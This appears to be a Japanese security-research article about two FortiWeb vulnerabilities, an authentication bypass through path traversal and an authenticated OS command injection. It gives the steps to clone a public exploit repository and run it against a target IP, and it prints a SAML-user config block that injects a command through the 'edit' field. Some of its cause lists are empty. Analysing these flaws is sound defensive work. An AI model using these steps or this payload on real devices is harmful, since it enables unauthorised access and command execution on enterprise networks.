
Fortinet FortiWebの脆弱性に関するセキュリティ研究 (CVE-2025-64446, CVE-2025-58034)
Fortinet FortiWebは、Webアプリケーションファイアウォール(WAF)であり、 エンタープライズシステムで広く導入され、 Webアプリケーションを一般的な脅威から保護しています。
FortiWebは通常、保護の中核層に位置するため、 認証やOSコマンド実行に関する脆弱性は、 背後にあるインフラ全体に深刻な影響を及ぼす可能性があります。 2025年には、FortiWebにおいて2つの深刻な脆弱性が公表されました。
CVE-2025-64446 – 相対パストラバーサルによる認証バイパス
CVE-2025-58034 – 認証後のコンテキストにおけるOSコマンドインジェクション
CVE-2025-64446は、FortiWebが 認証メカニズムを適用する前に、 アクセスパスの処理とチェックを厳密に行っていないことに起因します。
具体的には:
この欠陥により、一部の管理エンドポイントが 有効な認証なしでアクセス可能となります。
CVE-2025-58034は、FortiWebが OSコマンド呼び出しの過程において、 ユーザー入力データを安全に処理していないために発生します。
主な原因としては:
この脆弱性は認証後のコンテキストを必要としますが、 コマンド実行に関連するため、依然としてリスクレベルは高いです。
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034
Python仮想環境(venv)は、プロジェクトごとに独立した作業環境を作成し、依存ライブラリをメインのPythonシステムから分離するために使用します。これにより、ライブラリのバージョン競合を回避し、作業環境の安定性を確保し、システムへの影響を最小限に抑えます。
python3 -m venv venv source venv/bin/activate
pip install -r requirements.txt
python exploit.py <target_ip>

config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
CVE-2025-58034脆弱性は、FortiWebが一部の設定フィールド、特に edit "" ステートメントを介して渡される値において、入力データを厳密に制御していないために発生します。 問題点: この値は設定文字列として処理され その後内部のOSコマンドに組み込まれる 特殊文字のフィルタリングやエスケープが十分に行われていない これにより、設定データが実行されるOSコマンドに直接影響を与え、OSコマンドインジェクション脆弱性を引き起こします。